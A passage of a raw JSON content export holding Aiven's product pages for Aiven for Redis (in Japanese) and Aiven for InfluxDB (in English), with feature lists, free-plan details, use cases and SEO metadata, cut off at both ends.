にはすべてが含まれているため、月末に予期せぬ請求額が届くことはありません。メンテナンス、ネットワーク、ストレージの追加料金はありません。プライベートネットワーク(VPC)、シングルテナント、高い可溶性のマルチAZを利用できます。必要なときにクラスタやリージョンをスピンアップし、不要なときにシャットダウンできます。"}],"markDefs":[],"style":"normal"}],"tagline":"価格プラン","title":"価格 - 利用した分だけ課金"},{"_key":"f87f714443e0","_type":"textColumn","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"darkTheme":true,"disabled":false,"fullWidth":true,"primaryCTA":{"_type":"link","caption":"クレジットカードの登録は不要です。\\nすべての機能が含まれています。","externalUrl":"https://console.aiven.io/signup","title":"無料トライアルを開始する"},"rounded":false,"title":"今すぐ最初のデータ基盤を立ち上げましょう","variant":"centerColumn"},{"_key":"f4e2cb30eaf6","_type":"textColumn","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"id":"features","rounded":false,"tagline":"機能紹介","title":"主な機能","variant":"centerColumn"},{"_key":"b2eda0fc84959d13ac1d2c4823d69f7d","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-95b3da31f17e1e918613d63bb20db7b6a2b3f25f-1280x720-jpg","_type":"reference"}},"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"セットアップ","text":[{"_key":"2320489fa450","_type":"block","children":[{"_key":"ddf84b4af918","_type":"span","marks":[],"text":"10分で本番環境にRedisクラスタを構築"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1eae64d68d51","_type":"block","children":[{"_key":"8f8f839384df0","_type":"span","marks":[],"text":"ご希望のクラウドにデプロイ可能 - 5つのパブリッククラウドと100以上リージョンをサポート"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"adf2f72436f8","_type":"block","children":[{"_key":"160e531264570","_type":"span","marks":[],"text":"厳選されたインスタンスタイプとストレージオプションに基づく高性能クラスタ"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d72d440a9316","_type":"block","children":[{"_key":"fb62cd05a268","_type":"span","marks":[],"text":"厳しい管理要件に対応した"},{"_key":"9e9dd5ba31951","_type":"span","marks":["f664862e0887"],"text":"Bring-your-own-cloud (BYOC)"},{"_key":"9e9dd5ba31952","_type":"span","marks":[],"text":"デプロイモデル"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"f664862e0887","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/byoc"}],"style":"normal"}],"title":"柔軟、迅速、ストレスフリー","variant":"mediaLeft"},{"_key":"94ae0fa9843a3d64142167018853142e","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-ffeee0d3dee814dfa905711ea0a7ded38ab68e0b-1280x720-jpg","_type":"reference"}},"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"接続","text":[{"_key":"44d01807362d","_type":"block","children":[{"_key":"6e77fc8fa4dc0","_type":"span","marks":["c8fe60a601bc"],"text":"VPC peering"},{"_key":"6e77fc8fa4dc1","_type":"span","marks":[],"text":"、"},{"_key":"6e77fc8fa4dc2","_type":"span","marks":["e91fa2e6b813"],"text":"PrivateLink"},{"_key":"6e77fc8fa4dc3","_type":"span","marks":[],"text":"または"},{"_key":"6e77fc8fa4dc4","_type":"span","marks":["7bc6ed49f685"],"text":"TransitGateway"},{"_key":"6e77fc8fa4dc5","_type":"span","marks":[],"text":"テクノロジーを使用したセキュアなネットワーク接続"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"c8fe60a601bc","_type":"link","href":"https://docs.aiven.io/docs/platform/howto/manage-vpc-peering"},{"_key":"e91fa2e6b813","_type":"link","href":"https://docs.aiven.io/docs/tools/cli/service/privatelink"},{"_key":"7bc6ed49f685","_type":"link","href":"https://help.aiven.io/en/articles/3507710-attach-vpc-to-aws-transit-gateway"}],"style":"normal"},{"_key":"4ebbc75cbf83","_type":"block","children":[{"_key":"3e63a0ae47e50","_type":"span","marks":[],"text":"Datadog、Prometheus、Jolokia、その他のお気に入りのオブザーバビリティ(可観測性)ツールに"},{"_key":"b5267ee9a493","_type":"span","marks":["5102cc29243d"],"text":"統合"},{"_key":"65eadac03bc1","_type":"span","marks":[],"text":"したり、"},{"_key":"3e63a0ae47e53","_type":"span","marks":["57eaacdb58c8"],"text":"Aivenの可観測性ツール"},{"_key":"3e63a0ae47e54","_type":"span","marks":[],"text":"を使用して監視とロギングを強化することが可能"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"57eaacdb58c8","_type":"link","href":"https://aiven.io/time-series-databases/monitoring-and-observability"},{"_key":"5102cc29243d","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4__i18n_ja","_type":"reference"}}],"style":"normal"}],"title":"データインフラストラクチャとの統合","variant":"mediaRight"},{"_key":"19c8f135482c","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-af47dbea7ec112c1054e554062f912bf64ad6395-1280x720-jpg","_type":"reference"}},"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"管理","text":[{"_key":"a13aa9ad5c27","_type":"block","children":[{"_key":"1316e3686b0b0","_type":"span","marks":[],"text":"Aiven Console (GUI) 、CLI、または"},{"_key":"1316e3686b0b1","_type":"span","marks":["506d5d00fea3"],"text":"Terraform"},{"_key":"1316e3686b0b2","_type":"span","marks":[],"text":"ツールを使用してRedisクラスタを管理"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"506d5d00fea3","_type":"link","href":"https://docs.aiven.io/docs/tools/terraform/get-started"}],"style":"normal"},{"_key":"0441158ee036","_type":"block","children":[{"_key":"27b2a33f9ed6","_type":"span","marks":[],"text":"数クリックでスケール、データベースのフォーク、アップグレードを実行"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c00cf03cec69","_type":"block","children":[{"_key":"b67a102abcb50","_type":"span","marks":[],"text":"オープンソースソフトウェアとの互換性を保証"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4e039dfa5ee4","_type":"block","children":[{"_key":"4151c053972d0","_type":"span","marks":[],"text":"クラウドやリージョン間での移行が容易"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"DevOpsに適した管理と開発","variant":"mediaLeft"},{"_key":"7bff0ebf3f03cb580d82a70f2160a6ea","_type":"textImage","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-70657d34217a54eaf1d676189831fe7126658714-1280x720-jpg","_type":"reference"}},"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"サービス","text":[{"_key":"ece5150bcc2a","_type":"block","children":[{"_key":"2ddc7461f0810","_type":"span","marks":[],"text":"自己修復プラットフォーム"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8cad9c76eacc","_type":"block","children":[{"_key":"e02358226a4b0","_type":"span","marks":[],"text":"スケーリング、アップグレードなどの管理運用時のダウンタイムゼロ"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1f21c5be0cfc","_type":"block","children":[{"_key":"09ade7e3c25e0","_type":"span","marks":[],"text":"プランに応じて12時間ごとに自動バックアップ"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"a02cfea51961","_type":"link","href":"https://aiven.io/security-compliance"}],"style":"normal"},{"_key":"0b9b74090998","_type":"block","children":[{"_key":"984901bff69b0","_type":"span","marks":["f7c3c2709e6e"],"text":"安全でコンプライアンス準拠のソリューション"},{"_key":"c215e42f0685","_type":"span","marks":[],"text":" - ISO 27001:2013、SOC2、GDPR、HIPAA、PCI/DSS"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"f7c3c2709e6e","_type":"internalLink","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5__i18n_ja","_type":"reference"}}],"style":"normal"}],"title":"信頼性、安全性、ロックインなし","variant":"mediaRight"},{"_key":"ca9978eb5c2d","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","disabled":false,"fullWidth":false,"id":"resources","items":[{"_key":"955ce9a0c473","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/redis","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-6e59ce95700f17f77378a0019ccae5bfb3aead41-991x527-jpg","_type":"reference"}},"subtitle":[{"_key":"50193800fa0c","_type":"block","children":[{"_key":"ec85f05004810","_type":"span","marks":[],"text":"Aiven for Redis®入門、コアコンセプト、ハウツーなどをご紹介します。"}],"markDefs":[],"style":"normal"}],"tagline":"Aivenドキュメント","title":"ドキュメント","variant":"default"},{"_key":"33c927d7d27d","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"5n7mhiPowEK6X49UpoZSU4","_type":"reference"},"title":"詳細はこちら"},"image":{"_type":"mainImage","asset":{"_ref":"image-27eb1255715f2dfb05b85a97e3bdb1f7721c17cb-1567x844-png","_type":"reference"}},"subtitle":[{"_key":"06359ecb16dd","_type":"block","children":[{"_key":"a8fe5baf58d00","_type":"span","marks":[],"text":"Redisがどのようなものなのか、そしてデータの連続体の中でどのような位置を占めているのか、その全貌をご覧ください。"}],"markDefs":[],"style":"normal"}],"tagline":"ブログ","title":"Redis®の紹介","variant":"default"},{"_key":"eed81d68a3b1b2ab0a6a3a0f379f3d0a","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"Bn6QWyWT0ZxFmtWiDM23j","_type":"reference"},"title":"詳細はこちら"},"image":{"_type":"mainImage","asset":{"_ref":"image-998de53afc141e1187e7ad4074ea65fc753f801a-1567x844-png","_type":"reference"}},"subtitle":[{"_key":"6ef892ee0335","_type":"block","children":[{"_key":"09302f0c555d0","_type":"span","marks":[],"text":"スループットが低下し、Redis®*のパフォーマンス劣化を経験する時があるかもしれません。Aivenが、そのようなケースを解決する方法についてご紹介します。"}],"markDefs":[],"style":"normal"}],"tagline":"ブログ","title":"Redis®パフォーマンスの最適化","variant":"default"}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"リソース","title":"Aiven for Redisの使用方法についての説明"},{"_key":"1506e2957639","_type":"accordion","disabled":false,"fullWidth":true,"id":"faq","isFaqAccordion":true,"items":[{"_key":"5917888ab3d4","_ref":"3ba8da80-d664-4401-91f9-29456eb6afb3__i18n_ja","_type":"reference"},{"_key":"bbe36d218117","_ref":"eb3f00a1-cbb4-4ab2-bd42-961369ca95ec__i18n_ja","_type":"reference"},{"_key":"7e0be404ecc7","_type":"accordionItem","id":"redis-free-plan","panelText":[{"_key":"2ffd1fdf5aaa","_type":"block","children":[{"_key":"b254fc4208ad0","_type":"span","marks":[],"text":"Redis無料プランに含まれるものは、以下の仕様で提供されます。"}],"markDefs":[],"style":"normal"},{"_key":"570dbce96d32","_type":"block","children":[{"_key":"f426d3904c3f0","_type":"span","marks":[],"text":"シングルノード"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"33b5f368311e","_type":"block","children":[{"_key":"1426c05699930","_type":"span","marks":[],"text":"1 CPU"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"36bdeca35b0d","_type":"block","children":[{"_key":"6e4cc8d6b8370","_type":"span","marks":[],"text":"1GB RAM"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"117a7ed12360","_type":"block","children":[{"_key":"c6c7624d0c8a0","_type":"span","marks":[],"text":"Maxmemoryを50%に設定"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"80be4783d2eb","_type":"block","children":[{"_key":"a71f120255150","_type":"span","marks":[],"text":"Webコンソール、CLI、API、Terraformプロバイダ、Kubernetesオペレータによる容易な管理"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3d9b6fbb2374","_type":"block","children":[{"_key":"eb613714618b0","_type":"span","marks":[],"text":"すぐに使えるモニタリング(メトリクスとログ)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2885780d92f5","_type":"block","children":[{"_key":"d2b30c6b0f400","_type":"span","marks":[],"text":"バックアップ"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"98e14f6f053e","_type":"block","children":[{"_key":"3d9cc8bd98940","_type":"span","marks":[],"text":"コミュニティサポート"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"66ad92f3c081","_type":"block","children":[{"_key":"7cb6ca44e03d0","_type":"span","marks":[],"text":"ただし、Aivenプラットフォーム機能の一部はご利用いただけません。"}],"markDefs":[],"style":"normal"},{"_key":"d6612c6b6f0a","_type":"block","children":[{"_key":"4135b7e0090d0","_type":"span","marks":[],"text":"VPCピアリング、サービス統合、フォーキングはできません"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"fe8c78d40a62","_type":"block","children":[{"_key":"28f697001bbd0","_type":"span","marks":[],"text":"コミュニティサポートのみです"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4bf9aee23201","_type":"block","children":[{"_key":"05dc4a93fcd40","_type":"span","marks":[],"text":"99.99% SLAは提供されません"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e5a77575f118","_type":"block","children":[{"_key":"83d29849155b0","_type":"span","marks":[],"text":"AWSの9リージョンのみに限定されます"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b8d6e0ba4ceb","_type":"block","children":[{"_key":"32ed19977c040","_type":"span","marks":[],"text":"ユーザーおよび組織ごとに、1サービスタイプにつき、1サービスのみのご利用となります"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Redisの無料プランには何が含まれているのでしょうか?"},{"_key":"a4f30f455dad","_ref":"e514e6cc-1088-4768-8a49-ea0e01ea7123__i18n_ja","_type":"reference"}],"rounded":false,"title":"よくある質問"}],"seo":{"_type":"metaData","metaDescription":"Aiven for Redis - フルマネージドのインメモリNoSQLデータベース ✓ ご希望みのクラウドにデプロイ可能 ✓ 統合が容易 ✓ 詳細はこちら!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-bd5d4566537e7e3da219039f7d31be58ee8eb732-1200x630-jpg","_type":"reference"}},"metaStructuredData":"{\n \"name\": \"Aiven for Redis®\",\n \"@type\": \"SoftwareApplication\",\n \"@context\": \"http://schema.org\",\n \"keywords\": \"マネージドRedis、Redis as a Service\",\n \"description\": \"Aiven for Redisは、Google Cloud Platform、Amazon Web Services、Microsoft Azure、DigitalOcean、UpCloudでグローバルに提供されている、フルマネージド・ホスティングのRedisソリューションです。\",\n \"featureList\": \"Terraform対応、Datadog連携、Aivenサービスログ連携、Aivenメトリクス連携、VPCピアリング、REST API、コマンドラインツーリング、高可用性、Google Cloud Platformで利用可能、Amazon Web Servicesで利用可能、Microsoft Azureで利用可能、DigitalOceanで利用可能\",\n \"softwareHelp\": {\n \"url\": \"https://docs.aiven.io/redis\",\n \"@type\": \"CreativeWork\"\n },\n \"operatingSystem\": \"N/A\",\n \"applicationCategory\": \"オープンソースのインメモリ型NoSQLデータベース\",\n \"applicationSubCategory\": \"メモリキャッシュ、メッセージブローカー、非リレーショナルデータベース\"\n}","metaTitle":"Managed Redisサービス|Aiven"},"service":{"_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"reference"},"slug":{"_type":"slug","current":"/redis"},"title":"Redis"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"ja","_ref":"51b4ca21-9543-440f-a91c-158dfd7cf78f__i18n_ja","_type":"reference"}],"_createdAt":"2022-09-30T16:20:54Z","_id":"51b4ca21-9543-440f-a91c-158dfd7cf78f","_rev":"AUoLUkEDo6CVeRx5sqatfD","_type":"product","_updatedAt":"2024-02-09T09:41:46Z","content":[{"_key":"4e8702daeb69","_type":"hero","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"breadcrumbs":{"currentPage":"Aiven for InfluxDB®","parentPage":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Aiven Platform"}},"description":[{"_key":"4a78f7748a8d","_type":"block","children":[{"_key":"5efc8faf20250","_type":"span","marks":[],"text":"Fully managed InfluxDB – the popular, lightweight, high-ingest time series database that you can snap into your workflow in minutes."}],"markDefs":[],"style":"normal"}],"disabled":false,"formType":"trial","heroHasForm":false,"hostProviders":[{"_key":"578ed7310c27","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"7b338cc11703","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"bc8376257e6c","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"3b13c79fd2d2","_ref":"54eb8b0b-593e-4fe5-908f-9a441bd329fa","_type":"reference"},{"_key":"cea754b62877","_ref":"6ed4cb03-b0d9-4009-bbf7-382ca41bcf26","_type":"reference"}],"id":"hero","image":{"_type":"mainImage","asset":{"_ref":"image-0b3403f3eb1803637a328c2768f9c0a3073a90d3-1600x1137-png","_type":"reference"}},"isImageLarge":false,"primaryCTA":{"_type":"link","caption":"No credit card required.","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"tagline":"Managed and hosted","title":"Aiven for InfluxDB®","variant":"default"},{"_key":"5182ebbb04f3","_type":"scrollSpyNavigation","disabled":false,"fullWidth":false,"items":[{"_key":"8f43b5b64eae","_type":"scrollSpyNavItem","sectionId":"works","title":"How it works"},{"_key":"56a49faaf61d","_type":"scrollSpyNavItem","sectionId":"benefits","title":"Benefits"},{"_key":"d74c953c2b19","_type":"scrollSpyNavItem","sectionId":"references","title":"Customer use cases"},{"_key":"f80f76f74ee8","_type":"scrollSpyNavItem","sectionId":"features","title":"Features"},{"_key":"dad3ec5d64ff","_type":"scrollSpyNavItem","sectionId":"pricing","title":"Pricing"},{"_key":"fc6e049ee9a3","_type":"scrollSpyNavItem","sectionId":"faq","title":"FAQ"}],"logo":{"_type":"mainImage","asset":{"_ref":"image-eee325570196ed0e66e3b2d2e7916aa56c51a7e6-64x64-svg","_type":"reference"}},"logoLink":{"_type":"link","internalLink":{"_ref":"51b4ca21-9543-440f-a91c-158dfd7cf78f","_type":"reference"},"title":"Aiven for InfluxDB®"},"rounded":false,"secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"title":"Aiven for InfluxDB®"},{"_key":"6915a9c7174f","_type":"serviceDiagram","disabled":false,"fullWidth":true,"id":"works","rounded":false,"steps":[{"_key":"37c060512de0","_type":"textItem","content":[{"_key":"90028d189739","_type":"block","children":[{"_key":"3dbc3225f5680","_type":"span","marks":[],"text":"Get a fully managed time series database – with Aiven for InfluxDB®"}],"markDefs":[],"style":"h3"},{"_key":"aaf561ae28af","_type":"block","children":[{"_key":"a8a49b5062f20","_type":"span","marks":[],"text":"InfluxDB is a high performance time series database designed for highly variable data. It’s capable of ingesting and querying hundreds of thousands of data points a second."}],"markDefs":[],"style":"normal"},{"_key":"02188f11a857","_type":"block","children":[{"_key":"f2ea91f08d580","_type":"span","marks":[],"text":"With Aiven for InfluxDB, if you add Grafana® as a service plan it automatically configures InfluxDB as a data source. And with Aiven’s platform, you can click and connect other services with ease, and start receiving metrics for your monitoring solution with just a few clicks."}],"markDefs":[],"style":"normal"}]}],"subtitle":[{"_key":"7e3d9e2983a4","_type":"block","children":[{"_key":"8d88073802e90","_type":"span","marks":[],"text":"InfluxDB is a great time series data solution. It’s known for its ability to handle variable data sets and query past data. And with Aiven, you can deploy InfluxDB in minutes and enhance your existing architecture."}],"markDefs":[],"style":"normal"}],"tagline":"How it works","title":"What can you do with Aiven for InfluxDB®?","tools":[{"_key":"c68d323ca8e5","_ref":"5e27c945-a56b-494c-93a1-0279742d2b50","_type":"reference"},{"_key":"a1bd0315eee6","_ref":"8986d4de-d1f0-456a-9b22-94d18130dded","_type":"reference"},{"_key":"c7fa5242c650","_ref":"77ebe529-c4c8-4bf6-be6b-26668ab82d7e","_type":"reference"},{"_key":"a9ee6c94ef40","_ref":"010e0529-1647-42bc-8e77-1aa50a4a1cb8","_type":"reference"},{"_key":"55adcdf2bb68","_ref":"7c2f7eec-06ee-4fc5-ad8c-446822dae6c2","_type":"reference"},{"_key":"f2534dd38d1d","_ref":"3a2594cd-0289-4c52-9b6a-cf81f475498d","_type":"reference"}],"toolsTitle":"Manage with the tools you want:","variant":"influxdb"},{"_key":"25d1de3d2695","_type":"iconList","addSpaceBottom":true,"addSpaceTop":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"iconSize":24,"icons":[{"_key":"ada73a4f407f","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"d2358edef1fc","_type":"block","children":[{"_key":"2527f32c77680","_type":"span","marks":[],"text":"InfluxDB is a well known time series database that can process hundreds of thousands of data points per second."}],"markDefs":[],"style":"normal"}],"title":"Popular power. Plus Aiven reliability."},{"_key":"9e7bd37ad46c","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0e149027ad6432057ac699a57e7f06a9b1c62064-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"ac6bcb5a619c","_type":"block","children":[{"_key":"094e4818a03e","_type":"span","marks":[],"text":"From the first line of code Aiven managed services are built securely. With dedicated VM’s and backups taken every 12 hours, you know your time stamped data is safe with Aiven."}],"markDefs":[],"style":"normal"}],"title":"Unmatched performance. Plus Aiven reliability."},{"_key":"5d7c4d5ec748","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-464c0c76b1b33f3b61b2605b9716b5455cf696f3-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"3646150a7b8c","_type":"block","children":[{"_key":"5cded86c159b0","_type":"span","marks":[],"text":"Stressing about applying maintenance updates or version upgrades? We’ll take care of them for you so that you can focus on putting your data to work."}],"markDefs":[],"style":"normal"}],"title":"Automatic updates and upgrades. Zero stress."},{"_key":"b53e11b8ad4a","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"68cb782f728f","_type":"block","children":[{"_key":"7f9da06ae44f0","_type":"span","marks":[],"text":"Aiven for InfluxDB comes with all-inclusive pricing. No hidden fees or charges, just one payment that covers everything, and you can scale up (or down) whenever you need."}],"markDefs":[],"style":"normal"}],"title":"Super-transparent pricing. No networking costs."}],"id":"benefits","rounded":false,"subtitle":[{"_key":"a4adca6ab2a4","_type":"block","children":[{"_key":"a68ba48bfe210","_type":"span","marks":[],"text":"Aiven makes it easy to deploy a time series production node in minutes.  Switch plans, Increase your storage, or perform an upgrade or migrate to a different provider at the push of a button, with zero downtime."}],"markDefs":[],"style":"normal"},{"_key":"19d8fedb0e58","_type":"block","children":[{"_key":"a36c62e837b20","_type":"span","marks":[],"text":"When you’re looking for a well known and reliable TSDB, Aiven’s interoperability, scalability, ease of use and all-inclusive pricing, fully managed Aiven for InfluxDB is the way to go."}],"markDefs":[],"style":"normal"}],"tagline":"Benefits","title":"Benefits of InfluxDB® as-a-service from Aiven","variant":"header-left"},{"_key":"a7d30ecaf654","_type":"cardList","align":"center","disabled":false,"fullWidth":false,"id":"references","items":[{"_key":"7c4a4378789f","_type":"cardItem","subtitle":[{"_key":"2ce36ebeffe1","_type":"block","children":[{"_key":"bae95acf9b180","_type":"span","marks":[],"text":"With the increasing amount of IoT deployments, the amount of data produced by connected water, energy, temperature meters, health monitors, and wearable tech is growing exponentially. InfluxDB is a great fit to track data from connected devices."}],"markDefs":[],"style":"normal"}],"title":"IoT Deployments","variant":"default"},{"_key":"40bbb53cd0c3","_type":"cardItem","subtitle":[{"_key":"2c2b43d6474c","_type":"block","children":[{"_key":"d4749a24ca540","_type":"span","marks":[],"text":"Aiven for InfluxDB is well suited to large-scale monitoring. By combining it with monitoring, logging, analysis, diagnosis and alerting tools (including Grafana® and OpenSearch®) it can be used to monitor your entire system and keep it operating smoothly."}],"markDefs":[],"style":"normal"}],"title":"Observability","variant":"default"},{"_key":"0cd60ba580e7","_type":"cardItem","subtitle":[{"_key":"ebc3d7f74ec0","_type":"block","children":[{"_key":"aea2d83551810","_type":"span","marks":[],"text":"TSDBs were created for tracking and analyzing market fluctuations, and Aiven for InfluxDB offers a popular TSDB solution. It can help track related events, cross reference with historical data, or help retail stores predict trends and anticipate demand."}],"markDefs":[],"style":"normal"}],"title":"Finance and retail","variant":"default"}],"rounded":false,"tagline":"Customer use cases","title":"How Aiven customers use InfluxDB"},{"_key":"f4e2cb30eaf6","_type":"textColumn","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"id":"features","rounded":false,"tagline":"Features","title":"Key features of Aiven for InfluxDB®","variant":"centerColumn"},{"_key":"b2eda0fc84959d13ac1d2c4823d69f7d","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-8ad987ee81a7041d089d72429f5402905db0229d-1280x720-jpg","_type":"reference"}},"noSpaceBottom":true,"noSpaceTop":true,"rounded":false,"tagline":"Setup","text":[{"_key":"0d9a865a868c","_type":"block","children":[{"_key":"2731c6d470150","_type":"span","marks":[],"text":"Fully managed InfluxDB nodes up and running in 10 minutes"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ecc2c6562f32","_type":"block","children":[{"_key":"c525f0a0a4310","_type":"span","marks":[],"text":"Deploy to 5 major clouds in over 20 regions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d9812a479f18","_type":"block","children":[{"_key":"34d0ec9048900","_type":"span","marks":["5c87d4279d3a"],"text":"Bring-your-own-cloud (BYOC) "},{"_key":"34d0ec9048901","_type":"span","marks":[],"text":"deployment model supported for strict control requirements"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"5c87d4279d3a","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/byoc"}],"style":"normal"}],"title":"Flexible, fast and stress-free","variant":"mediaLeft"},{"_key":"8ecd2b037fbc5f55ffbbc94a4cf3e21b","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-33ed4f3c9bc9c8272cda5d6f71c00fa9e89bae80-1280x720-jpg","_type":"reference"}},"noSpaceBottom":true,"noSpaceTop":false,"rounded":false,"tagline":"Connect","text":[{"_key":"956cdf1e89f8","_type":"block","children":[{"_key":"7ad2d2a572680","_type":"span","marks":["d8f2c638ed1b"],"text":"Integrate as a data source for Aiven for Grafana®"},{"_key":"7ad2d2a572681","_type":"span","marks":[],"text":" for visualizations"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"d8f2c638ed1b","_type":"link","href":"https://docs.aiven.io/docs/products/clickhouse/howto/connect-to-grafana"}],"style":"normal"},{"_key":"fbbd7e165f83","_type":"block","children":[{"_key":"e7d95e66b57f0","_type":"span","marks":[],"text":"Secure network connectivity using "},{"_key":"e7d95e66b57f1","_type":"span","marks":["189c51b3b6a9"],"text":"VPC peering"},{"_key":"e7d95e66b57f2","_type":"span","marks":[],"text":", "},{"_key":"e7d95e66b57f3","_type":"span","marks":["1082d34d00eb"],"text":"PrivateLink"},{"_key":"e7d95e66b57f4","_type":"span","marks":[],"text":" or TransitGateway technologies"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"189c51b3b6a9","_type":"link","href":"https://docs.aiven.io/docs/platform/howto/manage-vpc-peering"},{"_key":"1082d34d00eb","_type":"link","href":"https://docs.aiven.io/docs/tools/cli/service/privatelink"}],"style":"normal"},{"_key":"c81f0f48dc9f","_type":"block","children":[{"_key":"ab2a3aeed7da0","_type":"span","marks":["41fb93145ca1"],"text":"Integrate"},{"_key":"9f72d1595497","_type":"span","marks":[],"text":" with your favorite observability tooling — from Datadog to Prometheus, Jolokia, and more — or use Aiven observability tools for enhanced monitoring and logging"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"41fb93145ca1","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4","_type":"reference"}}],"style":"normal"},{"_key":"1184c872c6e8","_type":"block","children":[{"_key":"9ce4a64138430","_type":"span","marks":[],"text":"Receive metrics from other Aiven services, and monitor their health with 